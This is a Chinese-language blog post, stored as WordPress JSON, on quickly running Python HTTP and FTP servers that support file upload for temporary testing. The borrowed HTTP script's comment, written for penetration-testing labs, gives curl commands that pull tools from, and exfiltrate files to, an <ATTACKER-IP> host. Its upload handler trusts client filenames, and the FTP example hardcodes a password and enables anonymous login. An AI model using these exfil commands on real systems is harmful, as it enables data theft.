{"id":5502,"date":"2023-08-29T19:56:00","date_gmt":"2023-08-29T11:56:00","guid":{"rendered":"https:\/\/ixyzero.com\/blog\/?p=5502"},"modified":"2023-08-29T16:32:37","modified_gmt":"2023-08-29T08:32:37","slug":"%e7%94%a8python%e5%bf%ab%e9%80%9f%e6%90%ad%e5%bb%ba%e6%94%af%e6%8c%81%e4%b8%8a%e4%bc%a0%e5%8a%9f%e8%83%bd%e7%9a%84http-ftp%e6%9c%8d%e5%8a%a1","status":"publish","type":"post","link":"https:\/\/ixyzero.com\/blog\/archives\/5502.html","title":{"rendered":"\u7528Python\u5feb\u901f\u642d\u5efa\u652f\u6301\u4e0a\u4f20\u529f\u80fd\u7684HTTP\/FTP\u670d\u52a1"},"content":{"rendered":"\n<p>=Start=<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u7f18\u7531\uff1a<\/h4>\n\n\n\n<p>\u7b80\u5355\u6574\u7406\u4e00\u4e0b\u5728Linux\u670d\u52a1\u5668\u4e0a\u7528Python\u5feb\u901f\u521b\u5efa\u652f\u6301\u4e0a\u4f20\uff08\u4e0b\u8f7d\uff09\u529f\u80fd\u7684FTP\/HTTP\u670d\u52a1\u7684\u65b9\u6cd5\uff0c\u65b9\u4fbf\u6709\u9700\u8981\u7684\u65f6\u5019\u53c2\u8003\u548c\u4f7f\u7528\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u6b63\u6587\uff1a<\/h4>\n\n\n\n<h5 class=\"wp-block-heading\">\u53c2\u8003\u89e3\u7b54\uff1a<\/h5>\n\n\n\n<p>\u6709\u4e9b\u65f6\u5019\u56e0\u4e3a\u6d4b\u8bd5\u9700\u8981\u4e34\u65f6\u642d\u5efa\u4e00\u4e9b\u73af\u5883\u7528\u4e8e\u95ee\u9898\u9a8c\u8bc1\uff0c\u4e13\u95e8\u53bb\u4e0b\u8f7d\u5bf9\u5e94\u7684\u8f6f\u4ef6\u7136\u540e\u5b89\u88c5\u914d\u7f6e\u8fd8\u662f\u6709\u70b9\u9ebb\u70e6\uff0c\u6240\u4ee5\u60f3\u7740\u53bb\u641c\u7d22\u6574\u7406\u4e00\u4e9b\u7b80\u5355\u5feb\u901f\uff08\u5c3d\u53ef\u80fd\u5229\u7528\u73b0\u6709\u73af\u5883\u8d44\u6e90\uff0c\u4e0d\u5b89\u88c5\u6216\u5c11\u5b89\u88c5\u989d\u5916\u7684\u5e93\/\u8f6f\u4ef6\uff0c\u4e0d\u8fd0\u884c\u672a\u7ecf\u8fc7\u4eba\u5de5\u5ba1\u8ba1\u786e\u8ba4\u8fc7\u7684\u5927\u6bb5\u4ee3\u7801\/\u7a0b\u5e8f\uff0c\u51cf\u5c0f\u4e2d\u62db\u6982\u7387\uff09\u53bb\u642d\u5efa\u6d4b\u8bd5\u73af\u5883\u7684\u65b9\u6cd5\uff0c\u65b9\u4fbf\u6709\u9700\u8981\u7684\u65f6\u5019\u8fdb\u884c\u4f7f\u7528\u3002<\/p>\n\n\n\n<p><strong><mark style=\"background-color:rgba(0, 0, 0, 0);color:#ff0000\" class=\"has-inline-color\">\u53e6\u5916\u5c31\u662f\u9700\u8981\u63d0\u524d\u8bf4\u660e\u7684\u5c31\u662f\uff0c\u8fd9\u91cc\u642d\u5efa\u7684HTTP\/FTP\u670d\u52a1\u53ea\u9002\u7528\u4e8e\u4e34\u65f6\u4f7f\u7528\uff0c\u5728\u4f7f\u7528\u5b8c\u4e86\u4e4b\u540e\u6700\u597d\u7acb\u5373\u9000\u51fa\uff0c\u907f\u514d\u51fa\u73b0\u4e00\u4e9b\u610f\u60f3\u4e0d\u5230\u7684\u95ee\u9898\u3002<\/mark><\/strong><\/p>\n\n\n\n<p>\u8003\u8651\u5230Python\u5728\u7edd\u5927\u591a\u6570\u7684Linux\u53d1\u884c\u7248\u5f53\u4e2d\u90fd\u9ed8\u8ba4\u5b89\u88c5\uff0c\u6240\u4ee5\u5e73\u65f6\u5728\uff08\u8de8\u5e73\u53f0\uff09\u4f20\u8f93\u6587\u4ef6\u7684\u65f6\u5019\u5c31\u7ecf\u5e38\u4f1a\u7528\u5230Python\u7684SimpleHTTPServer\u6a21\u5757\uff0c\u4ee5HTTP\u65b9\u5f0f\u5171\u4eab\u5f53\u524d\u6587\u4ef6\u5939\u7684\u6587\u4ef6\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ python -m SimpleHTTPServer 9000\n\n$ python3 -m http.server 9000<\/code><\/pre>\n\n\n\n<p>\u5bf9\u4e8e\u6587\u4ef6\u7684\u4e0b\u8f7d\u6765\u8bf4\u9ed8\u8ba4\u7684SimpleHTTPServer\u6a21\u5757\u5c31\u591f\u4e86\uff0c\u4f46\u662f\u901a\u8fc7\u8fd9\u79cd\u65b9\u5f0f\u542f\u52a8\u7684HTTP\u670d\u52a1\u4ec5\u652f\u6301\u4e0b\u8f7d\u4e0d\u652f\u6301\u4e0a\u4f20\uff0c\u6240\u4ee5\u4e0b\u9762\u7684\u5185\u5bb9\u4e3b\u8981\u662f\u4e3a\u4e86\u5b9e\u73b0\u4e00\u4e2a\u652f\u6301\u4e0a\u4f20\u529f\u80fd\u7684HTTP\u670d\u52a1\u3002\u539f\u7406\u672c\u8eab\u5e76\u4e0d\u590d\u6742\uff0c\u5728\u6b64\u57fa\u7840\u4e0a\u4e5f\u53ef\u6839\u636e\u9700\u8981\u8fdb\u884c\u7b80\u5355\u6539\u5199\u4ee5\u6ee1\u8db3\u7279\u5b9a\u9700\u6c42\uff0c\u6211\u53ea\u662f\u4e3a\u4e86\u8bb0\u5f55\u4e00\u4e0b\u65b9\u4fbf\u540e\u9762\u53c2\u8003\uff0c\u6240\u4ee5\u8fd9\u91cc\u76f4\u63a5\u653e\u4e00\u4e9b\u9a8c\u8bc1\u8fc7\u53ef\u7528\u7684\u7b80\u77ed\u4ee3\u7801\uff0c\u60f3\u8981\u8be6\u7ec6\u7684\u53ef\u4ee5\u770b\u540e\u9762\u7684\u53c2\u8003\u94fe\u63a5\u8fdb\u4e00\u6b65\u67e5\u770b\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>-- \u642d\u5efaHTTP\u670d\u52a1\uff0c\u6311\u4e86\u4e2a\u4ee3\u7801\u77ed\u7684\u65b9\u4fbf\u5c55\u73b0\n#!\/usr\/env python3\n########################################################################\n#\n#  Simple HTTP server that  supports file upload  for moving data around\n#  between boxen on HTB. Based on a gist by bones7456, but mangled by me \n#  as I've tried  (badly) to port it to Python 3, code golf it, and make\n#  It a  little more  robust. I was also able to  strip out a lot of the \n#  code trivially  because Python3 SimpleHTTPServer is  a thing, and the\n#  cgi module handles multipart data nicely.\n#\n#  Lifted from: https:\/\/gist.github.com\/UniIsland\/3346170\n#\n#  Important to note that this tool is quick and dirty and is a good way\n#  to get yourself  popped if you're leaving it  running out in the real\n#  world. \n#\n#  Run it on your attack box from the folder that contains your tools.\n#\n#  From the target machine:\n#  Infil file: curl -O http:\/\/&lt;ATTACKER-IP&gt;:44444\/&lt;FILENAME&gt;\n#  Exfil file: curl -F 'file=@&lt;FILENAME&gt;' http:\/\/&lt;ATTACKER-IP&gt;:44444\/\n# \n#  Multiple file upload supported, just add more -F 'file=@&lt;FILENAME&gt;'\n#  parameters to the command line.\n#\n########################################################################\nimport http.server\nimport socketserver\nimport io\nimport cgi\n\n# Change this to serve on a different port\nPORT = 44444\n\nclass CustomHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):\n\n    def do_POST(self):        \n        r, info = self.deal_post_data()\n        print(r, info, \"by: \", self.client_address)\n        f = io.BytesIO()\n        if r:\n            f.write(b\"Success\\n\")\n        else:\n            f.write(b\"Failed\\n\")\n        length = f.tell()\n        f.seek(0)\n        self.send_response(200)\n        self.send_header(\"Content-type\", \"text\/plain\")\n        self.send_header(\"Content-Length\", str(length))\n        self.end_headers()\n        if f:\n            self.copyfile(f, self.wfile)\n            f.close()      \n\n    def deal_post_data(self):\n        ctype, pdict = cgi.parse_header(self.headers&#91;'Content-Type'])\n        pdict&#91;'boundary'] = bytes(pdict&#91;'boundary'], \"utf-8\")\n        pdict&#91;'CONTENT-LENGTH'] = int(self.headers&#91;'Content-Length'])\n        if ctype == 'multipart\/form-data':\n            form = cgi.FieldStorage( fp=self.rfile, headers=self.headers, environ={'REQUEST_METHOD':'POST', 'CONTENT_TYPE':self.headers&#91;'Content-Type'], })\n            print (type(form))\n            try:\n                if isinstance(form&#91;\"file\"], list):\n                    for record in form&#91;\"file\"]:\n                        open(\".\/%s\"%record.filename, \"wb\").write(record.file.read())\n                else:\n                    open(\".\/%s\"%form&#91;\"file\"].filename, \"wb\").write(form&#91;\"file\"].file.read())\n            except IOError:\n                    return (False, \"Can't create file to write, do you have permission to write?\")\n        return (True, \"Files uploaded\")\n\nHandler = CustomHTTPRequestHandler\nwith socketserver.TCPServer((\"\", PORT), Handler) as httpd:\n    print(\"serving at port\", PORT)\n    httpd.serve_forever()<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>-- \u642d\u5efaFTP\u670d\u52a1\uff0c\u9700\u5148\u989d\u5916\u5b89\u88c5pyftpdlib\u6a21\u5757\n#!\/usr\/bin\/env python\n# coding=utf-8\n\nfrom pyftpdlib.handlers import FTPHandler\nfrom pyftpdlib.servers import FTPServer\nfrom pyftpdlib.authorizers import DummyAuthorizer\n\n\nclass MyHandler(FTPHandler):\n\n    def on_connect(self):\n        print (\"%s:%s connected\" % (self.remote_ip, self.remote_port))\n\n    def on_disconnect(self):\n        # do something when client disconnects\n        pass\n\n    def on_login(self, username):\n        # do something when user login\n        pass\n\n    def on_logout(self, username):\n        # do something when user logs out\n        pass\n\n    def on_file_sent(self, file):\n        # do something when a file has been sent\n        print(self.username, file)\n        pass\n\n    def on_file_received(self, file):\n        # do something when a file has been received\n        print(self.username, file)\n        pass\n\n    def on_incomplete_file_sent(self, file):\n        # do something when a file is partially sent\n        print(self.username, file)\n        pass\n\n    def on_incomplete_file_received(self, file):\n        # remove partially uploaded files\n        import os\n        os.remove(file)\n\n\ndef main():\n    authorizer = DummyAuthorizer()\n    authorizer.add_user('user', 'userpass123', homedir='.', perm='elradfmwMT')\n    authorizer.add_anonymous(homedir='\/tmp\/')\n\n    handler = MyHandler\n    handler.authorizer = authorizer\n    server = FTPServer(('', 9999), handler)\n    server.serve_forever()\n\nif __name__ == \"__main__\":\n    main()<\/code><\/pre>\n\n\n\n<h5 class=\"wp-block-heading\">\u53c2\u8003\u94fe\u63a5\uff1a<\/h5>\n\n\n\n<p>Simple Python Http Server with Upload &#8211; Python3 version (<strong>\u6d4b\u8bd5OK<\/strong>)<br><a href=\"https:\/\/gist.github.com\/touilleMan\/eb02ea40b93e52604938\">https:\/\/gist.github.com\/touilleMan\/eb02ea40b93e52604938<\/a><\/p>\n\n\n\n<p>[x]Python SimpleHTTPServer to receive files (\u6d4b\u8bd5OK\uff0c\u9875\u9762\u4ec5\u652f\u6301\u6d4f\u89c8\uff0c\u4e0a\u4f20\u9700\u8981\u901a\u8fc7curl\u7b49\u547d\u4ee4\u8fdb\u884cPOST\u64cd\u4f5c)<br><a href=\"https:\/\/stackoverflow.com\/questions\/39788591\/python-simplehttpserver-to-receive-files\">https:\/\/stackoverflow.com\/questions\/39788591\/python-simplehttpserver-to-receive-files<\/a><br><a href=\"https:\/\/gist.github.com\/smidgedy\/1986e52bb33af829383eb858cb38775c\">https:\/\/gist.github.com\/smidgedy\/1986e52bb33af829383eb858cb38775c<\/a><\/p>\n\n\n\n<p>python simple http server with upload &amp; download (\u6d4b\u8bd5OK\uff0c\u9875\u9762\u6d4f\u89c8\u529f\u80fd\u4e0d\u652f\u6301\uff1b\u53e6\u5916\u5c31\u662f\u56e0\u4e3a\u4ec5\u6539\u5199\u4e86PUT\u64cd\u4f5c\u7684\u4ee3\u7801\uff0c\u6240\u4ee5\u4ec5\u652f\u6301\u7528PUT\u65b9\u6cd5\u4e0a\u4f20\u6587\u4ef6)<br><a href=\"https:\/\/gist.github.com\/darkr4y\/761d7536100d2124f5d0db36d4890109\">https:\/\/gist.github.com\/darkr4y\/761d7536100d2124f5d0db36d4890109<\/a><br>Receiving files over HTTP with Python<br><a href=\"https:\/\/floatingoctothorpe.uk\/2017\/receiving-files-over-http-with-python.html\">https:\/\/floatingoctothorpe.uk\/2017\/receiving-files-over-http-with-python.html<\/a><\/p>\n\n\n\n<p>Python&#8217;s http.server extended to include a file upload page (\u56e0\u4e3a\u8981\u989d\u5916\u5b89\u88c5\u5305\uff0c\u6240\u4ee5\u6682\u672a\u6d4b\u8bd5)<br><a href=\"https:\/\/pypi.org\/project\/uploadserver\/\">https:\/\/pypi.org\/project\/uploadserver\/<\/a><br><a href=\"https:\/\/github.com\/Densaugeo\/uploadserver\">https:\/\/github.com\/Densaugeo\/uploadserver<\/a><\/p>\n\n\n\n<p>One line ftp server in python<br><a href=\"https:\/\/stackoverflow.com\/questions\/4994638\/one-line-ftp-server-in-python\">https:\/\/stackoverflow.com\/questions\/4994638\/one-line-ftp-server-in-python<\/a><br><a href=\"https:\/\/docs.twistedmatrix.com\/en\/stable\/core\/examples\/#ftp-examples\">https:\/\/docs.twistedmatrix.com\/en\/stable\/core\/examples\/#ftp-examples<\/a><\/p>\n\n\n\n<p>[y]Extremely fast and scalable Python FTP server library<br><a href=\"https:\/\/github.com\/giampaolo\/pyftpdlib\">https:\/\/github.com\/giampaolo\/pyftpdlib<\/a><br><a href=\"https:\/\/pyftpdlib.readthedocs.io\/en\/latest\/tutorial.html#event-callbacks\">https:\/\/pyftpdlib.readthedocs.io\/en\/latest\/tutorial.html#event-callbacks<\/a><\/p>\n\n\n\n<p>Pyftpdlib \u4f7f\u7528\u65b9\u6cd5<br><a href=\"https:\/\/blog.csdn.net\/xuq09\/article\/details\/84936853\">https:\/\/blog.csdn.net\/xuq09\/article\/details\/84936853<\/a><\/p>\n\n\n\n<p>python-ftp-server (Command line FTP server tool designed for performance and ease of use.)<br><a href=\"https:\/\/pypi.org\/project\/python-ftp-server\/\">https:\/\/pypi.org\/project\/python-ftp-server\/<\/a><\/p>\n\n\n\n<p>=END=<\/p>\n","protected":false},"excerpt":{"rendered":"<p>=Start= \u7f18\u7531\uff1a \u7b80\u5355\u6574\u7406\u4e00\u4e0b\u5728Linux\u670d\u52a1\u5668\u4e0a\u7528Python\u5feb\u901f\u521b\u5efa\u652f\u6301\u4e0a\u4f20\uff08\u4e0b\u8f7d\uff09\u529f\u80fd\u7684FTP\/H [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[23,7,12],"tags":[84,2006,2008,8,2007,71],"class_list":["post-5502","post","type-post","status-publish","format-standard","hentry","category-knowledgebase-2","category-programing","category-tools","tag-curl","tag-http-server","tag-pyftpdlib","tag-python","tag-simplehttpserver","tag-tools"],"views":1705,"_links":{"self":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/posts\/5502","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/comments?post=5502"}],"version-history":[{"count":1,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/posts\/5502\/revisions"}],"predecessor-version":[{"id":5503,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/posts\/5502\/revisions\/5503"}],"wp:attachment":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/media?parent=5502"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/categories?post=5502"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/tags?post=5502"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}